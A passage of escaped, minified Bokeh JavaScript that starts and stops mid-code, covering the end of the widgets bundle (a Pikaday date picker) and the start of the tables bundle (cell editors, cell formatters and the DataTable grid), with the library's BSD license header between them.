e;t.firedBy!==i&&(e=r.parse?r.parse(r.field.value,r.format):o?(e=n(r.field.value,r.format,r.formatStrict))&&e.isValid()?e.toDate():null:new Date(Date.parse(r.field.value)),B(e)&&i.setDate(e),i._v||i.show())},i._onInputFocus=function(){i.show()},i._onInputClick=function(){i.show()},i._onInputBlur=function(){var t=c.activeElement;do{if(l(t,\\\"pika-single\\\"))return}while(t=t.parentNode);i._c||(i._b=u(function(){i.hide()},50)),i._c=!1},i._onClick=function(t){var e=(t=t||window.event).target||t.srcElement,n=e;if(e){!s&&l(e,\\\"pika-select\\\")&&(e.onchange||(e.setAttribute(\\\"onchange\\\",\\\"return;\\\"),a(e,\\\"change\\\",i._onChange)));do{if(l(n,\\\"pika-single\\\")||n===r.trigger)return}while(n=n.parentNode);i._v&&e!==r.trigger&&n!==r.trigger&&i.hide()}},i.el=c.createElement(\\\"div\\\"),i.el.className=\\\"pika-single\\\"+(r.isRTL?\\\" is-rtl\\\":\\\"\\\")+(r.theme?\\\" \\\"+r.theme:\\\"\\\"),a(i.el,\\\"mousedown\\\",i._onMouseDown,!0),a(i.el,\\\"touchend\\\",i._onMouseDown,!0),a(i.el,\\\"change\\\",i._onChange),r.keyboardInput&&a(c,\\\"keydown\\\",i._onKeyChange),r.field&&(r.container?r.container.appendChild(i.el):r.bound?c.body.appendChild(i.el):r.field.parentNode.insertBefore(i.el,r.field.nextSibling),a(r.field,\\\"change\\\",i._onInputChange),r.defaultDate||(o&&r.field.value?r.defaultDate=n(r.field.value,r.format).toDate():r.defaultDate=new Date(Date.parse(r.field.value)),r.setDefaultDate=!0));var e=r.defaultDate;B(e)?r.setDefaultDate?i.setDate(e,!0):i.gotoDate(e):i.gotoDate(new Date),r.bound?(this.hide(),i.el.className+=\\\" is-bound\\\",a(r.trigger,\\\"click\\\",i._onInputClick),a(r.trigger,\\\"focus\\\",i._onInputFocus),a(r.trigger,\\\"blur\\\",i._onInputBlur)):this.show()};return t.prototype={config:function(t){this._o||(this._o=d({},h,!0));var e=d(this._o,t,!0);e.isRTL=!!e.isRTL,e.field=e.field&&e.field.nodeName?e.field:null,e.theme=\\\"string\\\"==typeof e.theme&&e.theme?e.theme:null,e.bound=!!(void 0!==e.bound?e.field&&e.bound:e.field),e.trigger=e.trigger&&e.trigger.nodeName?e.trigger:e.field,e.disableWeekends=!!e.disableWeekends,e.disableDayFn=\\\"function\\\"==typeof e.disableDayFn?e.disableDayFn:null;var n=parseInt(e.numberOfMonths,10)||1;if(e.numberOfMonths=4<n?4:n,B(e.minDate)||(e.minDate=!1),B(e.maxDate)||(e.maxDate=!1),e.minDate&&e.maxDate&&e.maxDate<e.minDate&&(e.maxDate=e.minDate=!1),e.minDate&&this.setMinDate(e.minDate),e.maxDate&&this.setMaxDate(e.maxDate),g(e.yearRange)){var i=(new Date).getFullYear()-10;e.yearRange[0]=parseInt(e.yearRange[0],10)||i,e.yearRange[1]=parseInt(e.yearRange[1],10)||i}else e.yearRange=Math.abs(parseInt(e.yearRange,10))||h.yearRange,100<e.yearRange&&(e.yearRange=100);return e},toString:function(t){return t=t||this._o.format,B(this._d)?this._o.toString?this._o.toString(this._d,t):o?n(this._d).format(t):this._d.toDateString():\\\"\\\"},getMoment:function(){return o?n(this._d):null},setMoment:function(t,e){o&&n.isMoment(t)&&this.setDate(t.toDate(),e)},getDate:function(){return B(this._d)?new Date(this._d.getTime()):null},setDate:function(t,e){if(!t)return this._d=null,this._o.field&&(this._o.field.value=\\\"\\\",r(this._o.field,\\\"change\\\",{firedBy:this})),this.draw();if(\\\"string\\\"==typeof t&&(t=new Date(Date.parse(t))),B(t)){var n=this._o.minDate,i=this._o.maxDate;B(n)&&t<n?t=n:B(i)&&i<t&&(t=i),this._d=new Date(t.getTime()),j(this._d),this.gotoDate(this._d),this._o.field&&(this._o.field.value=this.toString(),r(this._o.field,\\\"change\\\",{firedBy:this})),e||\\\"function\\\"!=typeof this._o.onSelect||this._o.onSelect.call(this,this.getDate())}},gotoDate:function(t){var e=!0;if(B(t)){if(this.calendars){var n=new Date(this.calendars[0].year,this.calendars[0].month,1),i=new Date(this.calendars[this.calendars.length-1].year,this.calendars[this.calendars.length-1].month,1),r=t.getTime();i.setMonth(i.getMonth()+1),i.setDate(i.getDate()-1),e=r<n.getTime()||i.getTime()<r}e&&(this.calendars=[{month:t.getMonth(),year:t.getFullYear()}],\\\"right\\\"===this._o.mainCalendar&&(this.calendars[0].month+=1-this._o.numberOfMonths)),this.adjustCalendars()}},adjustDate:function(t,e){var n,i=this.getDate()||new Date,r=24*parseInt(e)*60*60*1e3;\\\"add\\\"===t?n=new Date(i.valueOf()+r):\\\"subtract\\\"===t&&(n=new Date(i.valueOf()-r)),this.setDate(n)},adjustCalendars:function(){this.calendars[0]=e(this.calendars[0]);for(var t=1;t<this._o.numberOfMonths;t++)this.calendars[t]=e({month:this.calendars[0].month+t,year:this.calendars[0].year});this.draw()},gotoToday:function(){this.gotoDate(new Date)},gotoMonth:function(t){isNaN(t)||(this.calendars[0].month=parseInt(t,10),this.adjustCalendars())},nextMonth:function(){this.calendars[0].month++,this.adjustCalendars()},prevMonth:function(){this.calendars[0].month--,this.adjustCalendars()},gotoYear:function(t){isNaN(t)||(this.calendars[0].year=parseInt(t,10),this.adjustCalendars())},setMinDate:function(t){t instanceof Date?(j(t),this._o.minDate=t,this._o.minYear=t.getFullYear(),this._o.minMonth=t.getMonth()):(this._o.minDate=h.minDate,this._o.minYear=h.minYear,this._o.minMonth=h.minMonth,this._o.startRange=h.startRange),this.draw()},setMaxDate:function(t){t instanceof Date?(j(t),this._o.maxDate=t,this._o.maxYear=t.getFullYear(),this._o.maxMonth=t.getMonth()):(this._o.maxDate=h.maxDate,this._o.maxYear=h.maxYear,this._o.maxMonth=h.maxMonth,this._o.endRange=h.endRange),this.draw()},setStartRange:function(t){this._o.startRange=t},setEndRange:function(t){this._o.endRange=t},draw:function(t){if(this._v||t){var e,n=this._o,i=n.minYear,r=n.maxYear,o=n.minMonth,s=n.maxMonth,a=\\\"\\\";this._y<=i&&(this._y=i,!isNaN(o)&&this._m<o&&(this._m=o)),this._y>=r&&(this._y=r,!isNaN(s)&&this._m>s&&(this._m=s)),e=\\\"pika-title-\\\"+Math.random().toString(36).replace(/[^a-z]+/g,\\\"\\\").substr(0,2);for(var l=0;l<n.numberOfMonths;l++)a+='<div class=\\\"pika-lendar\\\">'+f(this,l,this.calendars[l].year,this.calendars[l].month,this.calendars[0].year,e)+this.render(this.calendars[l].year,this.calendars[l].month,e)+\\\"</div>\\\";this.el.innerHTML=a,n.bound&&\\\"hidden\\\"!==n.field.type&&u(function(){n.trigger.focus()},1),\\\"function\\\"==typeof this._o.onDraw&&this._o.onDraw(this),n.bound&&n.field.setAttribute(\\\"aria-label\\\",\\\"Use the arrow keys to pick a date\\\")}},adjustPosition:function(){var t,e,n,i,r,o,s,a,l,u;if(!this._o.container){if(this.el.style.position=\\\"absolute\\\",t=this._o.trigger,e=t,n=this.el.offsetWidth,i=this.el.offsetHeight,r=window.innerWidth||c.documentElement.clientWidth,o=window.innerHeight||c.documentElement.clientHeight,s=window.pageYOffset||c.body.scrollTop||c.documentElement.scrollTop,\\\"function\\\"==typeof t.getBoundingClientRect)u=t.getBoundingClientRect(),a=u.left+window.pageXOffset,l=u.bottom+window.pageYOffset;else for(a=e.offsetLeft,l=e.offsetTop+e.offsetHeight;e=e.offsetParent;)a+=e.offsetLeft,l+=e.offsetTop;(this._o.reposition&&r<a+n||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-n+t.offsetWidth)&&(a=a-n+t.offsetWidth),(this._o.reposition&&o+s<l+i||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-i-t.offsetHeight)&&(l=l-i-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}},render:function(t,e,n){var i=this._o,r=new Date,o=U(t,e),s=new Date(t,e,1).getDay(),a=[],l=[];j(r),0<i.firstDay&&(s-=i.firstDay)<0&&(s+=7);for(var u=0===e?11:e-1,c=11===e?0:e+1,d=0===e?t-1:t,h=11===e?t+1:t,p=U(d,u),f=o+s,m=f;7<m;)m-=7;f+=7-m;for(var v,g,y,b,_,w,x,k=!1,S=0,C=0;S<f;S++){var E=new Date(t,e,S-s+1),D=!!B(this._d)&&z(E,this._d),M=z(E,r),A=-1!==i.events.indexOf(E.toDateString()),N=S<s||o+s<=S,V=S-s+1,I=e,P=t,R=i.startRange&&z(i.startRange,E),L=i.endRange&&z(i.endRange,E),T=i.startRange&&i.endRange&&i.startRange<E&&E<i.endRange,O=i.minDate&&E<i.minDate||i.maxDate&&E>i.maxDate||i.disableWeekends&&(0===(x=E.getDay())||6===x)||i.disableDayFn&&i.disableDayFn(E);N&&(S<s?(V=p+V,I=u,P=d):(V-=o,I=c,P=h));var W={day:V,month:I,year:P,hasEvent:A,isSelected:D,isToday:M,isDisabled:O,isEmpty:N,isStartRange:R,isEndRange:L,isInRange:T,showDaysInNextAndPreviousMonths:i.showDaysInNextAndPreviousMonths,enableSelectionDaysInNextAndPreviousMonths:i.enableSelectionDaysInNextAndPreviousMonths};i.pickWholeWeek&&D&&(k=!0),l.push(F(W)),7==++C&&(i.showWeekNumber&&l.unshift((y=S-s,b=e,_=t,w=void 0,w=new Date(_,0,1),'<td class=\\\"pika-week\\\">'+Math.ceil(((new Date(_,b,y)-w)/864e5+w.getDay()+1)/7)+\\\"</td>\\\")),a.push((v=l,g=i.isRTL,'<tr class=\\\"pika-row'+(i.pickWholeWeek?\\\" pick-whole-week\\\":\\\"\\\")+(k?\\\" is-selected\\\":\\\"\\\")+'\\\">'+(g?v.reverse():v).join(\\\"\\\")+\\\"</tr>\\\")),C=0,k=!(l=[]))}return Y(i,a,n)},isVisible:function(){return this._v},show:function(){var t,e,n;this.isVisible()||(this._v=!0,this.draw(),t=this.el,e=\\\"is-hidden\\\",t.className=(n=(\\\" \\\"+t.className+\\\" \\\").replace(\\\" \\\"+e+\\\" \\\",\\\" \\\")).trim?n.trim():n.replace(/^\\\\s+|\\\\s+$/g,\\\"\\\"),this._o.bound&&(a(c,\\\"click\\\",this._onClick),this.adjustPosition()),\\\"function\\\"==typeof this._o.onOpen&&this._o.onOpen.call(this))},hide:function(){var t,e,n=this._v;!1!==n&&(this._o.bound&&i(c,\\\"click\\\",this._onClick),this.el.style.position=\\\"static\\\",this.el.style.left=\\\"auto\\\",this.el.style.top=\\\"auto\\\",t=this.el,l(t,e=\\\"is-hidden\\\")||(t.className=\\\"\\\"===t.className?e:t.className+\\\" \\\"+e),this._v=!1,void 0!==n&&\\\"function\\\"==typeof this._o.onClose&&this._o.onClose.call(this))},destroy:function(){var t=this._o;this.hide(),i(this.el,\\\"mousedown\\\",this._onMouseDown,!0),i(this.el,\\\"touchend\\\",this._onMouseDown,!0),i(this.el,\\\"change\\\",this._onChange),t.keyboardInput&&i(c,\\\"keydown\\\",this._onKeyChange),t.field&&(i(t.field,\\\"change\\\",this._onInputChange),t.bound&&(i(t.trigger,\\\"click\\\",this._onInputClick),i(t.trigger,\\\"focus\\\",this._onInputFocus),i(t.trigger,\\\"blur\\\",this._onInputBlur))),this.el.parentNode&&this.el.parentNode.removeChild(this.el)}},t})}})}(this);\\n      //# sourceMappingURL=bokeh-widgets.min.js.map\\n      /* END bokeh-widgets.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-tables.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(a,b){!function(Bokeh){var define;(function(e,t,n){if(null!=Bokeh)return Bokeh.register_plugin(e,{\\\"models/widgets/tables/cell_editors\\\":433,\\\"models/widgets/tables/cell_formatters\\\":434,\\\"models/widgets/tables/data_table\\\":435,\\\"models/widgets/tables/index\\\":436,\\\"models/widgets/tables/main\\\":437,\\\"models/widgets/tables/table_column\\\":438,\\\"models/widgets/tables/table_widget\\\":439,\\\"models/widgets/widget\\\":440},437);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")})({433:function(e,t,n){var o=e(391),r=e(15),i=e(5),l=e(6),s=e(59),a=e(435),c=function(t){function e(e){return t.call(this,o.__assign({model:e.column.model},e))||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return null},enumerable:!0,configurable:!0}),e.prototype.initialize=function(e){t.prototype.initialize.call(this,e),this.inputEl=this._createInput(),this.defaultValue=null,this.args=e,this.render()},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-cell-editor\\\")},e.prototype.render=function(){t.prototype.render.call(this),this.args.container.appendChild(this.el),this.el.appendChild(this.inputEl),this.renderEditor(),this.disableNavigation()},e.prototype.renderEditor=function(){},e.prototype.disableNavigation=function(){this.inputEl.addEventListener(\\\"keydown\\\",function(e){switch(e.keyCode){case i.Keys.Left:case i.Keys.Right:case i.Keys.Up:case i.Keys.Down:case i.Keys.PageUp:case i.Keys.PageDown:e.stopImmediatePropagation()}})},e.prototype.destroy=function(){this.remove()},e.prototype.focus=function(){this.inputEl.focus()},e.prototype.show=function(){},e.prototype.hide=function(){},e.prototype.position=function(){},e.prototype.getValue=function(){return this.inputEl.value},e.prototype.setValue=function(e){this.inputEl.value=e},e.prototype.serializeValue=function(){return this.getValue()},e.prototype.isValueChanged=function(){return!(\\\"\\\"==this.getValue()&&null==this.defaultValue)&&this.getValue()!==this.defaultValue},e.prototype.applyValue=function(e,t){var n=this.args.grid.getData(),o=n.index.indexOf(e[a.DTINDEX_NAME]);n.setField(o,this.args.column.field,t)},e.prototype.loadValue=function(e){var t=e[this.args.column.field];this.defaultValue=null!=t?t:this.emptyValue,this.setValue(this.defaultValue)},e.prototype.validateValue=function(e){if(this.args.column.validator){var t=this.args.column.validator(e);if(!t.valid)return t}return{valid:!0,msg:null}},e.prototype.validate=function(){return this.validateValue(this.getValue())},e}(l.DOMView);n.CellEditorView=c;var u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CellEditor\\\"},t}(s.Model);(n.CellEditor=u).initClass();var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return\\\"\\\"},enumerable:!0,configurable:!0}),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e}(c);n.StringEditorView=d;var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StringEditor\\\",this.prototype.default_view=d,this.define({completions:[r.Array,[]]})},t}(u);(n.StringEditor=p).initClass();var f=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.textarea()},t}(c);n.TextEditorView=f;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextEditor\\\",this.prototype.default_view=f},t}(u);(n.TextEditor=h).initClass();var g=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.select()},t.prototype.renderEditor=function(){for(var e=0,t=this.model.options;e<t.length;e++){var n=t[e];this.inputEl.appendChild(i.option({value:n},n))}this.focus()},t}(c);n.SelectEditorView=g;var m=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectEditor\\\",this.prototype.default_view=g,this.define({options:[r.Array,[]]})},t}(u);(n.SelectEditor=m).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.PercentEditorView=v;var w=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PercentEditor\\\",this.prototype.default_view=v},t}(u);(n.PercentEditor=w).initClass();var y=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"checkbox\\\",value:\\\"true\\\"})},t.prototype.renderEditor=function(){this.focus()},t.prototype.loadValue=function(e){this.defaultValue=!!e[this.args.column.field],this.inputEl.checked=this.defaultValue},t.prototype.serializeValue=function(){return this.inputEl.checked},t}(c);n.CheckboxEditorView=y;var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxEditor\\\",this.prototype.default_view=y},t}(u);(n.CheckboxEditor=C).initClass();var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseInt(this.getValue(),10)||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid integer\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.IntEditorView=b;var x=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IntEditor\\\",this.prototype.default_view=b,this.define({step:[r.Number,1]})},t}(u);(n.IntEditor=x).initClass();var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseFloat(this.getValue())||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid number\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.NumberEditorView=R;var S=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumberEditor\\\",this.prototype.default_view=R,this.define({step:[r.Number,.01]})},t}(u);(n.NumberEditor=S).initClass();var E=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.TimeEditorView=E;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TimeEditor\\\",this.prototype.default_view=E},t}(u);(n.TimeEditor=k).initClass();var T=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},Object.defineProperty(t.prototype,\\\"emptyValue\\\",{get:function(){return new Date},enumerable:!0,configurable:!0}),t.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},t.prototype.destroy=function(){e.prototype.destroy.call(this)},t.prototype.show=function(){e.prototype.show.call(this)},t.prototype.hide=function(){e.prototype.hide.call(this)},t.prototype.position=function(){return e.prototype.position.call(this)},t.prototype.getValue=function(){},t.prototype.setValue=function(e){},t}(c);n.DateEditorView=T;var P=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DateEditor\\\",this.prototype.default_view=T},t}(u);(n.DateEditor=P).initClass()},434:function(e,t,n){var a=e(391),u=e(361),c=e(449),s=e(390),o=e(15),d=e(5),p=e(44),r=e(59),i=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.prototype.doFormat=function(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")},e}(r.Model),l=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"StringFormatter\\\",this.define({font_style:[o.FontStyle,\\\"normal\\\"],text_align:[o.TextAlign,\\\"left\\\"],text_color:[o.Color]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.font_style,l=this.text_align,s=this.text_color,a=d.span({},null==n?\\\"\\\":\\\"\\\"+n);switch(i){case\\\"bold\\\":a.style.fontWeight=\\\"bold\\\";break;case\\\"italic\\\":a.style.fontStyle=\\\"italic\\\"}return null!=l&&(a.style.textAlign=l),null!=s&&(a.style.color=s),a.outerHTML},e}(n.CellFormatter=i);(n.StringFormatter=l).initClass();var f=function(c){function e(e){return c.call(this,e)||this}return a.__extends(e,c),e.initClass=function(){this.prototype.type=\\\"NumberFormatter\\\",this.define({format:[o.String,\\\"0,0\\\"],language:[o.String,\\\"en\\\"],rounding:[o.String,\\\"round\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this,l=this.format,s=this.language,a=function(){switch(i.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}}();return n=u.format(n,l,s,a),c.prototype.doFormat.call(this,e,t,n,o,r)},e}(l);(n.NumberFormatter=f).initClass();var h=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BooleanFormatter\\\",this.define({icon:[o.String,\\\"check\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){return n?d.i({class:this.icon}).outerHTML:\\\"\\\"},e}(i);(n.BooleanFormatter=h).initClass();var g=function(l){function e(e){return l.call(this,e)||this}return a.__extends(e,l),e.initClass=function(){this.prototype.type=\\\"DateFormatter\\\",this.define({format:[o.String,\\\"ISO-8601\\\"]})},e.prototype.getFormat=function(){switch(this.format){case\\\"ATOM\\\":case\\\"W3C\\\":case\\\"RFC-3339\\\":case\\\"ISO-8601\\\":return\\\"%Y-%m-%d\\\";case\\\"COOKIE\\\":return\\\"%a, %d %b %Y\\\";case\\\"RFC-850\\\":return\\\"%A, %d-%b-%y\\\";case\\\"RFC-1123\\\":case\\\"RFC-2822\\\":return\\\"%a, %e %b %Y\\\";case\\\"RSS\\\":case\\\"RFC-822\\\":case\\\"RFC-1036\\\":return\\\"%a, %e %b %y\\\";case\\\"TIMESTAMP\\\":return;default:return this.format}},e.prototype.doFormat=function(e,t,n,o,r){n=p.isString(n)?parseInt(n,10):n;var i=s(n,this.getFormat());return l.prototype.doFormat.call(this,e,t,i,o,r)},e}(i);(n.DateFormatter=g).initClass();var m=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"HTMLTemplateFormatter\\\",this.define({template:[o.String,\\\"<%= value %>\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.template;if(null==n)return\\\"\\\";var l=c(i),s=a.__assign({},r,{value:n});return l(s)},e}(i);(n.HTMLTemplateFormatter=m).initClass()},435:function(e,t,i){var o=e(391),s=e(447).Grid,a=e(445).RowSelectionModel,c=e(444).CheckboxSelectColumn,r=e(15),n=e(38),l=e(21),u=e(32),d=e(14),p=e(439),f=e(440);i.DTINDEX_NAME=\\\"__bkdt_internal_index__\\\";var h=function(){function e(e,t){if(this.source=e,this.view=t,i.DTINDEX_NAME in this.source.data)throw new Error(\\\"special name \\\"+i.DTINDEX_NAME+\\\" cannot be used as a data table column\\\");this.index=this.view.indices}return e.prototype.getLength=function(){return this.index.length},e.prototype.getItem=function(e){for(var t={},n=0,o=u.keys(this.source.data);n<o.length;n++){var r=o[n];t[r]=this.source.data[r][this.index[e]]}return t[i.DTINDEX_NAME]=this.index[e],t},e.prototype.getField=function(e,t){return t==i.DTINDEX_NAME?this.index[e]:this.source.data[t][this.index[e]]},e.prototype.setField=function(e,t,n){var o={},r=this.index[e];o[t]=[[r,n]],this.source.patch(o)},e.prototype.getItemMetadata=function(e){return null},e.prototype.getRecords=function(){var t=this;return l.range(0,this.getLength()).map(function(e){return t.getItem(e)})},e.prototype.sort=function(e){var u=e.map(function(e){return[e.sortCol.field,e.sortAsc?1:-1]});0==u.length&&(u=[[i.DTINDEX_NAME,1]]);var d=this.getRecords(),p=this.index.slice();this.index.sort(function(e,t){for(var n=0,o=u;n<o.length;n++){var r=o[n],i=r[0],l=r[1],s=d[p.indexOf(e)][i],a=d[p.indexOf(t)][i],c=s==a?0:a<s?l:-l;if(0!=c)return c}return 0})},e}();i.DataProvider=h;var g=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e._in_selection_update=!1,e._warned_not_reorderable=!1,e}return o.__extends(e,t),e.prototype.connect_signals=function(){var e=this;t.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.render()}),this.connect(this.model.source.streaming,function(){return e.updateGrid()}),this.connect(this.model.source.patching,function(){return e.updateGrid()}),this.connect(this.model.source.change,function(){return e.updateGrid()}),this.connect(this.model.source.properties.data.change,function(){return e.updateGrid()}),this.connect(this.model.source.selected.change,function(){return e.updateSelection()}),this.connect(this.model.source.selected.properties.indices.change,function(){return e.updateSelection()})},e.prototype.updateGrid=function(){var t=this;this.model.view.compute_indices(),this.data.constructor(this.model.source,this.model.view);var n=this.grid.getColumns(),e=this.grid.getSortColumns().map(function(e){return{sortCol:{field:n[t.grid.getColumnIndex(e.columnId)].field},sortAsc:e.sortAsc}});this.data.sort(e),this.grid.invalidate(),this.grid.render()},e.prototype.updateSelection=function(){var t=this;if(!this._in_selection_update){var e=this.model.source.selected,n=e.indices.map(function(e){return t.data.index.indexOf(e)});this._in_selection_update=!0,this.grid.setSelectedRows(n),this._in_selection_update=!1;var o=this.grid.getViewport(),r=this.model.get_scroll_index(o,n);null!=r&&this.grid.scrollRowToTop(r)}},e.prototype.newIndexColumn=function(){return{id:n.uniqueId(),name:this.model.index_header,field:i.DTINDEX_NAME,width:this.model.index_width,behavior:\\\"select\\\",cannotTriggerInsert:!0,resizable:!1,selectable:!1,sortable:!0,cssClass:\\\"bk-cell-index\\\",headerCssClass:\\\"bk-header-index\\\"}},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-data-table\\\")},e.prototype.render=function(){var e,n=this,o=this.model.columns.map(function(e){return e.toColumn()});if(\\\"checkbox\\\"==this.model.selectable&&(e=new c({cssClass:\\\"bk-cell-select\\\"}),o.unshift(e.getColumnDefinition())),null!=this.model.index_position){var t=this.model.index_position,r=this.newIndexColumn();-1==t?o.push(r):t<-1?o.splice(t+1,0,r):o.splice(t,0,r)}var i=this.model.reorderable;!i||\\\"undefined\\\"!=typeof $&&null!=$.fn&&null!=$.fn.sortable||(this._warned_not_reorderable||(d.logger.warn(\\\"jquery-ui is required to enable DataTable.reorderable\\\"),this._warned_not_reorderable=!0),i=!1);var l={enableCellNavigation:!1!==this.model.selectable,enableColumnReorder:i,forceFitColumns:this.model.fit_columns,autoHeight:\\\"auto\\\"==this.model.height,multiColumnSort:this.model.sortable,editable:this.model.editable,autoEdit:!1};null!=this.model.width?this.el.style.width=this.model.width+\\\"px\\\":this.el.style.width=this.model.default_width+\\\"px\\\",null!=this.model.height&&\\\"auto\\\"!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),this.data=new h(this.model.source,this.model.view),this.grid=new s(this.el,this.data,o,l),this.grid.onSort.subscribe(function(e,t){o=t.sortCols,n.data.sort(o),n.grid.invalidate(),n.updateSelection(),n.grid.render(),n.model.header_row||n._hide_header()}),!1!==this.model.selectable&&(this.grid.setSelectionModel(new 